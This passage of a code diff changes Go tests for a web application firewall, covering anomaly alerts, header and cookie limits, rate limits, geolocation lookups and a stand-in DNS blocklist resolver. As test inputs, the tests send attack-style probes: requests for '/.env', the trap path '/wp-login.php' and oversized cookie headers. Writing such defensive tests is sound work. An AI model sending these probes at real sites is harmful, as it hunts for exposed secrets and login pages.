-		s.request(otherClient, "/.env", http.StatusOK, requestlog.ActionForward)
+		s.request(
+			otherClient,
+			"/.env",
+			http.StatusOK,
+			requestlog.ActionForward,
+		)
 	}
 
 	// The IPv6 client's third request breaks the limit past the two alerts
@@ -206,7 +253,11 @@ func startWithAlerts(
 ) (*sender, *clock, *waf.Server, *alerts.Queue) {
 	t.Helper()
 
-	return startAppWithAlerts(t, func(http.ResponseWriter, *http.Request) {}, env)
+	return startAppWithAlerts(
+		t,
+		func(http.ResponseWriter, *http.Request) {},
+		env,
+	)
 }
 
 // startAppWithAlerts is startWithAlerts in front of the app handler.
@@ -224,7 +275,13 @@ func startAppWithAlerts(
 	}
 	maps.Copy(settings, env)
 
-	addr, out, server, queue := startProxyWithAlerts(t, app.URL, "", clk.Now, settings)
+	addr, out, server, queue := startProxyWithAlerts(
+		t,
+		app.URL,
+		"",
+		clk.Now,
+		settings,
+	)
 
 	s := &sender{t: t, addr: addr, wafAddr: server.Addr, out: out}
 
@@ -235,7 +292,11 @@ func startAppWithAlerts(
 // the time raised, for ban, with its netblock, cause, reason and notes,
 // which ends at expires, as the log line gives it.
 func banAlert(
-	event string, raised time.Time, client string, ban bans.Ban, expires string,
+	event string,
+	raised time.Time,
+	client string,
+	ban bans.Ban,
+	expires string,
 ) alerts.Alert {
 	return alerts.Alert{
 		Instance: alertInstance,
@@ -254,7 +315,11 @@ func banAlert(
 // attackAlert is banAlert for a ban for the probe rule of testRules, with
 // the netblock and the notes of ban.
 func attackAlert(
-	event string, raised time.Time, client string, ban bans.Ban, expires string,
+	event string,
+	raised time.Time,
+	client string,
+	ban bans.Ban,
+	expires string,
 ) alerts.Alert {
 	return banAlert(event, raised, client, bans.Ban{
 		Netblock: ban.Netblock, Cause: bans.CauseAttack, Reason: "matched the rule probe",

internal/waf/anomaly_internal_test.go

@@ -24,7 +24,10 @@ func TestWithEveryAnomalyThresholdOffARequestIsNotCounted(t *testing.T) {
 
 	defer func() {
 		if r := recover(); r != nil {
-			t.Errorf("counting the request did work, with every threshold off: %v", r)
+			t.Errorf(
+				"counting the request did work, with every threshold off: %v",
+				r,
+			)
 		}
 	}()
 

internal/waf/anomaly_test.go

@@ -51,7 +51,9 @@ const (
 	hour = "hour"
 )
 
-func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(t *testing.T) {
+func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	for _, scope := range []struct {
@@ -95,9 +97,8 @@ func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(t *testing.T) {
 			t.Run(setting, func(t *testing.T) {
 				t.Parallel()
 
-				s, clk, server, queue := startWithLookupsAndClock(t, map[string]string{
+				env := map[string]string{setting: value, watchNets: office}
-					setting: value, watchNets: office,
+				s, clk, server, queue := startWithLookupsAndClock(t, env)
-				})
 				start := clk.Now()
 
 				// The third upload takes the count over the threshold, and the
@@ -156,7 +157,10 @@ func wantAlertedAgainOnceTheCooldownHasRunOut(
 	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
 	if len(waiting) != 2 || !waiting[1].Time.Equal(clk.Now()) ||
 		waiting[1].SuppressedRepeats != 1 {
-		t.Errorf("alerts wait %+v, want the first and another, with 1 repeat", waiting)
+		t.Errorf(
+			"alerts wait %+v, want the first and another, with 1 repeat",
+			waiting,
+		)
 	}
 }
 
@@ -201,7 +205,10 @@ func TestEveryRequestIsCountedWhateverIsDoneWithIt(t *testing.T) {
 		got = append(got, alert.Client.String())
 	}
 
-	if want := []string{allowed, exempt, client, denied}; !slices.Equal(got, want) {
+	if want := []string{allowed, exempt, client, denied}; !slices.Equal(
+		got,
+		want,
+	) {
 		t.Errorf("alerts for the clients %v, want %v", got, want)
 	}
 }
@@ -210,7 +217,10 @@ func TestThresholdsOffCountNothingAndAlertNothing(t *testing.T) {
 	t.Parallel()
 
 	// With every threshold off, nothing is counted.
-	s, server, queue := startWithLookups(t, map[string]string{watchNets: office})
+	s, server, queue := startWithLookups(
+		t,
+		map[string]string{watchNets: office},
+	)
 
 	for range 5 {
 		s.uploadFrom(client)
@@ -306,7 +316,10 @@ func TestClientIsCountedForItsASNumberOnceTheLookupGivesOne(t *testing.T) {
 		got[counter.ASN] = counter.Minute.Current
 	}
 
-	if want := map[string]int64{asnDE: 2, asnKP: 1, "AS64500": 1}; !maps.Equal(got, want) {
+	if want := map[string]int64{asnDE: 2, asnKP: 1, "AS64500": 1}; !maps.Equal(
+		got,
+		want,
+	) {
 		t.Errorf("requests by AS number %v, want %v", got, want)
 	}
 }
@@ -324,7 +337,9 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
 	app := startApp(t, func(http.ResponseWriter, *http.Request) {
 		release()
 		waitUntil(func() bool {
-			_, kept := server.Load().GeoJS.Kept(netip.MustParsePrefix(fromDE + "/32"))
+			_, kept := server.Load().GeoJS.Kept(
+				netip.MustParsePrefix(fromDE + "/32"),
+			)
 
 			return kept
 		})
@@ -342,7 +357,10 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
 	// number it gives.
 	s := &sender{t: t, addr: addr, out: out}
 	if line := s.get(fromDE, http.StatusOK, requestlog.ActionForward); line.ASN != "" {
-		t.Errorf("log line has AS number %q, want none: the request waited", line.ASN)
+		t.Errorf(
+			"log line has AS number %q, want none: the request waited",
+			line.ASN,
+		)
 	}
 
 	want := []anomaly.Counter{{
@@ -357,10 +375,15 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
 func TestEachNamedNetblockCountsTheClientsInIt(t *testing.T) {
 	t.Parallel()
 
-	s, _, server, _ := startAppWithAlerts(t, readAndAnswer, map[string]string{
+	s, _, server, _ := startAppWithAlerts(
-		anomalyWatch + requestsPerMinute: aLot,
+		t,
-		watchNets:                        office + ",wide=203.0.0.0/16,other=198.51.100.0/25",
+		readAndAnswer,
-	})
+		map[string]string{
+			anomalyWatch + requestsPerMinute: aLot,
+			watchNets: office + ",wide=203.0.0.0/16" +
+				",other=198.51.100.0/25",
+		},
+	)
 
 	// client is in office and in wide.
 	for _, from := range []string{client, "203.0.200.1", "192.0.2.7"} {
@@ -372,7 +395,10 @@ func TestEachNamedNetblockCountsTheClientsInIt(t *testing.T) {
 		got[counter.Name] = counter.Minute.Current
 	}
 
-	if want := map[string]int64{"office": 1, "wide": 2}; !maps.Equal(got, want) {
+	if want := map[string]int64{"office": 1, "wide": 2}; !maps.Equal(
+		got,
+		want,
+	) {
 		t.Errorf("requests by named netblock %v, want %v", got, want)
 	}
 }

internal/waf/answertime_test.go

@@ -1,21 +1,27 @@
 package waf_test
 
 import (
+	"encoding/binary"
 	"fmt"
 	"maps"
 	"net"
 	"net/http"
 	"net/http/httptest"
 	"net/netip"
+	"path/filepath"
 	"slices"
 	"strconv"
 	"strings"
+	"sync"
 	"testing"
 	"testing/synctest"
 	"time"
 
+	"github.com/prometheus/client_golang/prometheus/testutil"
+
 	"sneak.berlin/go/smallwebwaf/internal/bans"
 	"sneak.berlin/go/smallwebwaf/internal/lookup"
+	"sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest"
 	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
 	"sneak.berlin/go/smallwebwaf/internal/reputation"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
@@ -28,6 +34,8 @@ const (
 	answerTimeLimit = 2 * time.Second
 	// defaultLookupWait is the default of SWW_LOOKUP_TIMEOUT.
 	defaultLookupWait = 800 * time.Millisecond
+	// defaultReputationWait is the default of SWW_REPUTATION_TIMEOUT.
+	defaultReputationWait = 2 * time.Second
 	// The header limits SPEC.md gives.
 	cookieLimit      = 50
 	headerFieldLimit = 100
@@ -67,7 +75,9 @@ func fillHeaders(req *http.Request, total int) {
 	}
 }
 
-func TestSixteenThousandCookiesAreRefusedBeforeTheCoreRuleSetReadsThem(t *testing.T) {
+func TestSixteenThousandCookiesAreRefusedBeforeTheCoreRuleSetReadsThem(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	s := startWAF(t, "", map[string]string{wafMode: block})
@@ -82,7 +92,10 @@ func TestSixteenThousandCookiesAreRefusedBeforeTheCoreRuleSetReadsThem(t *testin
 	wantLine(t, line, tooLarge, requestlog.ActionRequestHeaderTooLarge)
 
 	if line.DurationCoreRuleSetMS != nil {
-		t.Errorf("the Core Rule Set read the request, for %f ms", *line.DurationCoreRuleSetMS)
+		t.Errorf(
+			"the Core Rule Set read the request, for %f ms",
+			*line.DurationCoreRuleSetMS,
+		)
 	}
 }
 
@@ -94,8 +107,12 @@ func TestHeaderLimitRefusalNamesItsHeuristicCountsAndLimits(t *testing.T) {
 	fillHeaders(req, headerFieldLimit+1)
 	do(t, req)
 
-	wantHeuristic(t, s.out.requestLine(t), "header_limits",
+	wantHeuristic(
-		`{"fields": 101, "fields_limit": 100, "cookies": 0, "cookies_limit": 50}`)
+		t,
+		s.out.requestLine(t),
+		"header_limits",
+		`{"fields": 101, "fields_limit": 100, "cookies": 0, "cookies_limit": 50}`,
+	)
 }
 
 func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) {
@@ -152,7 +169,12 @@ func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) {
 
 			if tc.refused {
 				wantDisposition(t, got, tooLarge, waf.DispositionDeny)
-				wantLine(t, line, tooLarge, requestlog.ActionRequestHeaderTooLarge)
+				wantLine(
+					t,
+					line,
+					tooLarge,
+					requestlog.ActionRequestHeaderTooLarge,
+				)
 
 				return
 			}
@@ -161,7 +183,9 @@ func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) {
 			wantLine(t, line, http.StatusOK, requestlog.ActionForward)
 
 			if line.DurationCoreRuleSetMS == nil {
-				t.Error("the Core Rule Set did not read a request within the limits")
+				t.Error(
+					"the Core Rule Set did not read a request within the limits",
+				)
 			}
 		})
 	}
@@ -190,7 +214,11 @@ func TestHeaderLimitsHoldWhateverTheCoreRuleSetSettingsSay(t *testing.T) {
 func TestClientInTheAllowNetsSkipsTheHeaderLimits(t *testing.T) {
 	t.Parallel()
 
-	s := startWAF(t, "", map[string]string{wafMode: block, allowNets: client})
+	s := startWAF(
+		t,
+		"",
+		map[string]string{wafMode: block, allowNets: client},
+	)
 	req := s.question(siteA, client, "/")
 	req.Header.Set(cookieHeader, cookies(cookieLimit+1))
 
@@ -211,98 +239,260 @@ func TestObserveModeAllowsARequestOverTheHeaderLimitsUnread(t *testing.T) {
 	line := s.out.requestLine(t)
 	if line.WouldAction != requestlog.ActionRequestHeaderTooLarge ||
 		line.DurationCoreRuleSetMS != nil {
-		t.Errorf("would_action %q and duration_core_rule_set_ms %v, want %q and none",
+		t.Errorf(
-			line.WouldAction, line.DurationCoreRuleSetMS, requestlog.ActionRequestHeaderTooLarge)
+			"would_action %q and duration_core_rule_set_ms %v, want %q and none",
+			line.WouldAction,
+			line.DurationCoreRuleSetMS,
+			requestlog.ActionRequestHeaderTooLarge,
+		)
 	}
 }
 
-func TestRequestsOverTheHeaderLimitsCountTowardTheRateLimits(t *testing.T) {
+func TestTheRateLimitsDoNotCountRequestsOverTheHeaderLimits(t *testing.T) {
 	t.Parallel()
 
 	s := startWAF(t, "", map[string]string{rateLimitPerMinute: "1"})
-	ask := func() answer {
+
+	for range 2 {
 		req := s.question(siteA, client, "/")
 		req.Header.Set(cookieHeader, cookies(cookieLimit+1))
-
+		wantDisposition(t, do(t, req), tooLarge, waf.DispositionDeny)
-		return do(t, req)
 	}
 
-	wantDisposition(t, ask(), tooLarge, waf.DispositionDeny)
+	wantDisposition(
-	wantDisposition(t, ask(), http.StatusForbidden, waf.DispositionDeny)
+		t,
-
+		s.ask(client, "/"),
-	lines := s.out.requestLines(t, 2)
+		http.StatusOK,
-	wantLine(t, lines[1], http.StatusForbidden, requestlog.ActionClientIsRateLimited)
+		waf.DispositionAllow,
+	)
 }
 
-func TestTheHeaderLimitsComeAfterTheTrapPathsAndTheRuleFiles(t *testing.T) {
+func TestTheHeaderLimitsComeBeforeEveryCheckThatRefuses(t *testing.T) {
 	t.Parallel()
 
+	// The lookup database places client in Germany.
+	lookupDB := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
+	lookuptest.Write(t, lookupDB, map[string]lookuptest.Network{
+		client + "/32": {ASN: asnDE, ASName: asNameDE, Country: "DE"},
+	})
+
 	for _, tc := range []struct {
-		name, path, action string
+		name string
+		env  map[string]string
+		path string
+		// prepare gets the server ready, at now, before the question.
+		prepare func(t *testing.T, server *waf.Server, now time.Time)
 	}{
-		{"a trap path", "/wp-login.php", requestlog.ActionTemporarilyBanned},
+		{"SWW_DENY_NETS", map[string]string{denyNets: client}, "/", leaveAsItIs},
-		{"a block rule", "/blocked", requestlog.ActionBlockedByBlockRule},
+		{"a ban", nil, "/", banClient},
+		{
+			"the country list", map[string]string{
+				lookupSource: fileSource, lookupDBPath: lookupDB, allowedCountries: "FR",
+			},
+			"/", leaveAsItIs,
+		},
+		{"a blocklist", map[string]string{blocklistURLs: dropURL}, "/", listClient},
+		{
+			"the CrowdSec decision list",
+			map[string]string{crowdSecURL: lapi, crowdSecKey: bouncerKey}, "/", decideOnClient,
+		},
+		{
+			"a DNS blocklist", map[string]string{
+				dnsblZones: dnsblZone, dnsblResolver: noResolver, reputationAction: actionDeny,
+			},
+			"/", func(_ *testing.T, server *waf.Server, _ time.Time) {
+				loadVerdicts(server, map[string][]string{client: {dnsblZone}})
+			},
+		},
+		{
+			"AbuseIPDB",
+			map[string]string{abuseIPDBKey: accountKey, reputationAction: actionDeny},
+			"/", func(_ *testing.T, server *waf.Server, _ time.Time) {
+				// Over SWW_ABUSEIPDB_MIN_SCORE, 75 by default.
+				loadScores(server, map[string]int64{client: 80})
+			},
+		},
+		{
+			"SWW_TAG_DENY", map[string]string{tagLists: "vpn=" + vpnList, tagDeny: "vpn"},
+			"/", func(t *testing.T, server *waf.Server, _ time.Time) {
+				t.Helper()
+				loadLists(t, server, map[string][]string{vpnList: {client}})
+			},
+		},
+		{"the rate limits", map[string]string{rateLimitPerMinute: "1"}, "/", countClient},
+		{
+			"a trap path", map[string]string{trapPaths: trapPathList}, "/wp-login.php",
+			leaveAsItIs,
+		},
+		{
+			"a block rule", map[string]string{rulesDir: writeRules(t, testRules)}, "/blocked",
+			leaveAsItIs,
+		},
 	} {
 		t.Run(tc.name, func(t *testing.T) {
 			t.Parallel()
 
-			s := startWAF(t, "", map[string]string{
+			s := startWAF(t, "", tc.env)
-				trapPaths: trapPathList, rulesDir: writeRules(t, testRules),
+			tc.prepare(t, s.server, s.clock.Now())
-			})
+
 			req := s.question(siteA, client, tc.path)
 			req.Header.Set(cookieHeader, cookies(cookieLimit+1))
 
-			wantDisposition(t, do(t, req), http.StatusForbidden, waf.DispositionDeny)
+			wantDisposition(t, do(t, req), tooLarge, waf.DispositionDeny)
-			wantLine(t, s.out.requestLine(t), http.StatusForbidden, tc.action)
+			wantLine(
+				t,
+				s.out.requestLine(t),
+				tooLarge,
+				requestlog.ActionRequestHeaderTooLarge,
+			)
 		})
 	}
 }
 
+func TestARequestOverTheHeaderLimitsRunsNoOtherCheck(t *testing.T) {
+	t.Parallel()
+
+	// Each check after the header limits leaves a mark on the log line of a
+	// request it reads: a tag, routewatch_tags_missing, a rule id, the
+	// counts, or the Core Rule Set's time.
+	path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
+	lookuptest.Write(t, path, map[string]lookuptest.Network{
+		client + "/32": {ASN: asnDE, ASName: asNameDE, Country: "DE"},
+	})
+	s := startWAF(t, "", map[string]string{
+		lookupSource: fileSource, lookupDBPath: path,
+		tagLists: "vpn=" + vpnList,
+		routeWatchURL: startRouteWatch(
+			t,
+			map[string]standInRoute{client: {prefixDE, 64496}},
+		),
+		dnsblZones: dnsblZone, reputationAction: actionLog,
+		rulesDir: writeRules(t, "noted path log ^/\n"),
+		wafMode:  block,
+	})
+	loadLists(t, s.server, map[string][]string{vpnList: {client}})
+	loadVerdicts(s.server, map[string][]string{client: {dnsblZone}})
+
+	over := s.question(siteA, client, "/")
+	over.Header.Set(cookieHeader, cookies(cookieLimit+1))
+	wantDisposition(t, do(t, over), tooLarge, waf.DispositionDeny)
+
+	within := s.question(siteA, client, "/")
+	within.Header.Set(cookieHeader, cookies(cookieLimit))
+	wantDisposition(t, do(t, within), http.StatusOK, waf.DispositionAllow)
+
+	lines := s.out.requestLines(t, 2)
+
+	wantTags(t, lines[0])
+	wantTagsMissing(t, lines[0], "")
+
+	if lines[0].RuleIDs != nil || lines[0].Counts != (ratelimit.Counts{}) ||
+		lines[0].DurationCoreRuleSetMS != nil {
+		t.Errorf(
+			"rule ids %v, counts %+v and Core Rule Set time %v, want none",
+			lines[0].RuleIDs,
+			lines[0].Counts,
+			lines[0].DurationCoreRuleSetMS,
+		)
+	}
+
+	// The request within the limits shows that each check leaves its mark.
+	wantTags(
+		t,
+		lines[1],
+		"asn=64496",
+		"country=DE",
+		"dnsbl="+dnsblZone,
+		"exploitsignature",
+		"vpn",
+	)
+	wantTagsMissing(t, lines[1], "no_answer_yet")
+
+	if lines[1].RuleIDs == nil || lines[1].Counts.Minute != 1 ||
+		lines[1].DurationCoreRuleSetMS == nil {
+		t.Errorf(
+			"rule ids %v, counts %+v and Core Rule Set time %v, want each",
+			lines[1].RuleIDs,
+			lines[1].Counts,
+			lines[1].DurationCoreRuleSetMS,
+		)
+	}
+}
+
 func TestNotWaitingForGeoJSNeverLowersAClientsLimit(t *testing.T) {
 	t.Parallel()
 
+	// The client's next request takes it over the whole limit, so it does
+	// not wait.
 	geojsURL, _ := startGeoJS(t)
 	s := startWAF(t, geojsURL, map[string]string{
-		unknownLimitPercent: "0", lookupTimeout: "1h",
+		unknownLimitPercent: "0", lookupTimeout: "1h", rateLimitPerMinute: "1",
 	})
-	req := s.question(siteA, fromDE, "/")
+	countClient(t, s.server, s.clock.Now())
-	req.Header.Set(cookieHeader, cookies(cookieLimit+1))
 
-	wantDisposition(t, do(t, req), tooLarge, waf.DispositionDeny)
+	wantDisposition(
+		t,
+		s.ask(fromDE, "/"),
+		http.StatusForbidden,
+		waf.DispositionDeny,
+	)
 
 	line := s.out.requestLine(t)
-	wantLine(t, line, tooLarge, requestlog.ActionRequestHeaderTooLarge)
+	wantLine(
+		t,
+		line,
+		http.StatusForbidden,
+		requestlog.ActionClientIsRateLimited,
+	)
 
 	if line.RateLimitPercent != nil {
 		t.Errorf("limit percentage %d, want none", *line.RateLimitPercent)
 	}
-
-	// The client is under no ban, and GeoJS places it in a country.
-	wantDisposition(t, s.ask(fromDE, "/"), http.StatusOK, waf.DispositionAllow)
 }
 
-func TestAClientGeoJSPlacedInNoCountryCountsAsUnknownWithoutWaiting(t *testing.T) {
+func TestAClientGeoJSPlacedInNoCountryCountsAsUnknownWithoutWaiting(
+	t *testing.T,
+) {
 	t.Parallel()
 
+	// The client's next request takes it over the whole limit, so it does
+	// not wait.
 	geojsURL, _ := startGeoJS(t)
-	s := startWAF(t, geojsURL, map[string]string{unknownLimitPercent: "0"})
+	s := startWAF(t, geojsURL, map[string]string{
+		unknownLimitPercent: "0", rateLimitPerMinute: "1",
+	})
 	s.server.GeoJS.Load([]lookup.Answer{{
 		Client: netip.MustParsePrefix(client + "/32"), ASN: "AS64512",
 		Answered: s.clock.Now(), Used: s.clock.Now(),
 	}})
+	countClient(t, s.server, s.clock.Now())
 
-	req := s.question(siteA, client, "/")
+	wantDisposition(
-	req.Header.Set(cookieHeader, cookies(cookieLimit+1))
+		t,
+		s.ask(client, "/"),
+		http.StatusForbidden,
+		waf.DispositionDeny,
+	)
 
-	wantDisposition(t, do(t, req), http.StatusForbidden, waf.DispositionDeny)
+	line := s.out.requestLine(t)
-	wantLine(t, s.out.requestLine(t), http.StatusForbidden,
+	wantLine(
-		requestlog.ActionClientIsRateLimited)
+		t,
+		line,
+		http.StatusForbidden,
+		requestlog.ActionClientIsRateLimited,
+	)
+
+	if line.RateLimitPercent == nil || *line.RateLimitPercent != 0 {
+		t.Errorf("limit percentage %v, want 0", line.RateLimitPercent)
+	}
 }
 
-func TestObserveModeWaitsForGeoJSForARequestOverTheHeaderLimits(t *testing.T) {
+func TestObserveModeAsksGeoJSNothingForARequestOverTheHeaderLimits(
+	t *testing.T,
+) {
 	t.Parallel()
 
-	geojsURL, _ := startGeoJS(t)
+	geojsURL, asked := startGeoJS(t)
 	s := startWAF(t, geojsURL, map[string]string{
 		mode: observe, addLookupHeaders: on, lookupTimeout: "1h",
 	})
@@ -312,10 +502,13 @@ func TestObserveModeWaitsForGeoJSForARequestOverTheHeaderLimits(t *testing.T) {
 	got := do(t, req)
 	wantDisposition(t, got, http.StatusOK, waf.DispositionAllow)
 
-	asn, country := got.header.Get("X-Client-Asn"), got.header.Get("X-Client-Country")
+	if len(asked()) != 0 || got.header.Get("X-Client-Asn") != "" {
-	if asn != asnDE || country != "DE" {
+		t.Errorf(
-		t.Errorf("answered with the AS number %q and the country %q, want %q and DE",
+			"GeoJS was asked about %v, and the answer gave the AS number %q, "+
-			asn, country, asnDE)
+				"want neither",
+			asked(),
+			got.header.Get("X-Client-Asn"),
+		)
 	}
 }
 
@@ -342,7 +535,12 @@ func askDirectly(
 ) (int, time.Duration) {
 	t.Helper()
 
-	req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
+	req := httptest.NewRequestWithContext(
+		t.Context(),
+		http.MethodGet,
+		"/",
+		http.NoBody,
+	)
 	req.RemoteAddr = net.JoinHostPort(rproxyPeer, "1234")
 	req.Header.Set(waf.ClientHeader, client)
 	req.Header.Set(requestIDHeader, "the-id")
@@ -358,12 +556,20 @@ func askDirectly(
 
 // banClient bans client at now.
 func banClient(_ *testing.T, server *waf.Server, now time.Time) {
-	server.Ledger.BanForLimit(netip.MustParsePrefix(client+"/32"), now, bans.Notes{})
+	server.Ledger.BanForLimit(
+		netip.MustParsePrefix(client+"/32"),
+		now,
+		bans.Notes{},
+	)
 }
 
 // countClient counts one request from client at now for the rate limits.
 func countClient(_ *testing.T, server *waf.Server, now time.Time) {
-	server.Limiter.Count(netip.MustParsePrefix(client+"/32"), now, wholeLimit)
+	server.Limiter.Count(
+		netip.MustParsePrefix(client+"/32"),
+		now,
+		wholeLimit,
+	)
 }
 
 // listClient puts client on the blocklist at dropURL.
@@ -446,13 +652,22 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
 				server, out := newWAFInBubble(t, tc.env)
 				tc.prepare(t, server, time.Now())
 
-				status, took := askDirectly(t, server, func(req *http.Request) {
+				status, took := askDirectly(
-					req.Header.Set(cookieHeader, tc.cookie)
+					t,
-				})
+					server,
+					func(req *http.Request) {
+						req.Header.Set(cookieHeader, tc.cookie)
+					},
+				)
 
 				if status != tc.status || took != 0 {
-					t.Errorf("answered %d after %s, want %d at once; output:\n%s",
+					t.Errorf(
-						status, took, tc.status, out.text())
+						"answered %d after %s, want %d at once; output:\n%s",
+						status,
+						took,
+						tc.status,
+						out.text(),
+					)
 				}
 
 				wantLine(t, out.requestLine(t), tc.status, tc.action)
@@ -464,7 +679,9 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
 	}
 }
 
-func TestAQuestionWaitsForASlowGeoJSOnlyAsLongAsTheDefaultSays(t *testing.T) {
+func TestAQuestionWaitsForASlowGeoJSOnlyAsLongAsTheDefaultSays(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	for _, tc := range []struct {
@@ -503,11 +720,21 @@ func TestAQuestionWaitsForASlowGeoJSOnlyAsLongAsTheDefaultSays(t *testing.T) {
 				server, out := newWAFInBubble(t, tc.env)
 				tc.prepare(t, server, time.Now())
 
-				status, took := askDirectly(t, server, func(*http.Request) {})
+				status, took := askDirectly(
+					t,
+					server,
+					func(*http.Request) {},
+				)
 
 				if status != tc.status || took != defaultLookupWait {
-					t.Errorf("answered %d after %s, want %d after %s; output:\n%s",
+					t.Errorf(
-						status, took, tc.status, defaultLookupWait, out.text())
+						"answered %d after %s, want %d after %s; output:\n%s",
+						status,
+						took,
+						tc.status,
+						defaultLookupWait,
+						out.text(),
+					)
 				}
 
 				wantLine(t, out.requestLine(t), tc.status, tc.action)
@@ -521,15 +748,9 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
 ) {
 	t.Parallel()
 
-	held, askedGeoJS, _ := startHeldGeoJS(t)
+	// The lists' stand-in: one for GeoJS that answers nothing.
-
+	held, _, _ := startHeldGeoJS(t)
-	// A resolver that takes every query and answers none.
+	resolver, releaseResolver := startHeldResolver(t)
-	resolver, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", localhost+":0")
-	if err != nil {
-		t.Fatalf("listen: %v", err)
-	}
-
-	t.Cleanup(func() { _ = resolver.Close() })
 
 	server, out, _ := newWAFWith(t, func(
 		params waf.Params,
@@ -537,42 +758,140 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
 		params.AbuseIPDBURL = silentAbuseIPDBURL
 
 		return waf.New(params)
-	}, held, time.Now, map[string]string{
+	}, silentGeoJSURL, time.Now, map[string]string{
 		tagDeny: "country=KP", wafMode: block,
-		dnsblZones: dnsblZone, dnsblResolver: resolver.LocalAddr().String(),
+		dnsblZones: dnsblZone, dnsblResolver: resolver,
 		abuseIPDBKey:  accountKey,
 		blocklistURLs: held + "/drop.txt", asnLimitPercentURL: held + "/asn.txt",
 		crowdSecURL: held, crowdSecKey: bouncerKey,
 	})
 
-	// AbuseIPDB is asked only about a client with an offence.
+	// The lists are fetched outside the synctest bubble below: a wait on the
-	group := netip.MustParsePrefix(client + "/32")
+	// network inside it would keep its clock from moving on.
-	server.Limiter.AddToHistory(group, time.Now(), ratelimit.Request{Attack: true})
-
 	go server.Lists.Run(t.Context())
 
-	status, took := askDirectly(t, server, func(req *http.Request) {
+	// In the bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays says, the
-		req.Header.Set("User-Agent", "test")
+	// answer takes exactly as long as waf waits, however busy the host is.
-		req.Header.Set("Accept", "*/*")
+	// GeoJS and AbuseIPDB never answer there, without the network. The query to
-		req.Host = siteA
+	// the DNS blocklist waits on the network, which stops the bubble's clock,
+	// but it starts only after the wait for GeoJS.
+	synctest.Test(t, func(t *testing.T) {
+		// AbuseIPDB is asked only about a client with an offence.
+		group := netip.MustParsePrefix(client + "/32")
+		server.Limiter.AddToHistory(
+			group,
+			time.Now(),
+			ratelimit.Request{Attack: true},
+		)
+
+		status, took := askDirectly(t, server, func(req *http.Request) {
+			req.Header.Set("User-Agent", "test")
+			req.Header.Set("Accept", "*/*")
+			req.Host = siteA
+		})
+
+		// The wait for GeoJS decides when the answer comes.
+		if status != http.StatusOK || took != defaultLookupWait ||
+			took >= answerTimeLimit {
+			t.Errorf(
+				"answered %d after %s, want %d after %s, within %s; output:\n%s",
+				status,
+				took,
+				http.StatusOK,
+				defaultLookupWait,
+				answerTimeLimit,
+				out.text(),
+			)
+		}
+
+		// Each outside source was asked, and none has answered. GeoJS is asked
+		// only about the clients waiting for it, here client alone.
+		if requests := testutil.ToFloat64(server.Metrics.GeoJSRequests); requests != 1 {
+			t.Errorf("%v requests to GeoJS, want 1", requests)
+		}
+
+		// The resolver holds the query until it is released below, so a waf
+		// that waited for the query would answer only once it had failed.
+		queries, failures := server.DNSBL.Queries(
+			dnsblZone,
+		), server.DNSBL.Failures(
+			dnsblZone,
+		)
+		if queries != 1 || failures != 0 {
+			t.Errorf(
+				"%d queries to the DNS blocklist, %d failed, want 1, none failed",
+				queries,
+				failures,
+			)
+		}
+
+		if checked := server.AbuseIPDB.Checked(); checked != 1 {
+			t.Errorf("%d checks with AbuseIPDB, want 1", checked)
+		}
+
+		// The query is answered, and the check with AbuseIPDB abandoned,
+		// before the bubble ends.
+		releaseResolver()
+		time.Sleep(defaultReputationWait)
 	})
+}
 
-	if status != http.StatusOK || took >= answerTimeLimit {
+// How the stand-in for the resolver reads a query and makes it its reply.
-		t.Errorf("answered %d after %s, want %d within %s; output:\n%s",
+const (
-			status, took, http.StatusOK, answerTimeLimit, out.text())
+	// maxQueryLength is the longest query it reads.
+	maxQueryLength = 512
+	// flagsAt is where a DNS message's flags start, after its id.
+	flagsAt = 2
+	// noSuchNameFlags mark a reply, to a query that asked for recursion,
+	// which is available, that no such name exists.
+	noSuchNameFlags = 0x8183
+)
+
+// startHeldResolver starts a stand-in for the resolver the DNSBL zones are
+// asked through, and returns its address and release. Each query waits until
+// release is called, and is then answered that no such name exists, so that
+// the zone does not list the client.
+func startHeldResolver(t *testing.T) (string, func()) {
+	t.Helper()
+
+	conn, err := (&net.ListenConfig{}).ListenPacket(
+		t.Context(),
+		"udp",
+		localhost+":0",
+	)
+	if err != nil {
+		t.Fatalf("listen: %v", err)
 	}
+
+	t.Cleanup(func() { _ = conn.Close() })
+
+	var (
+		released = make(chan struct{})
+		once     sync.Once
+	)
+
+	go func() {
+		query := make([]byte, maxQueryLength)
+
+		for {
+			n, from, err := conn.ReadFrom(query)
+			if err != nil {
+				return // conn is closed
+			}
 
-	// Each outside source was asked, and none has answered. The stand-in for
+			<-released
-	// GeoJS is the lists' too, which name no address.
+
-	if !slices.Contains(askedGeoJS(), client) {
+			// The query back, with the flags of the reply in place of its own.
-		t.Errorf("GeoJS was asked about %q, not %s", askedGeoJS(), client)
+			reply := slices.Clone(query[:n])
-	}
+			binary.BigEndian.PutUint16(reply[flagsAt:], noSuchNameFlags)
+
+			_, _ = conn.WriteTo(reply, from)
+		}
+	}()
 
-	if queries := server.DNSBL.Queries(dnsblZone); queries != 1 {
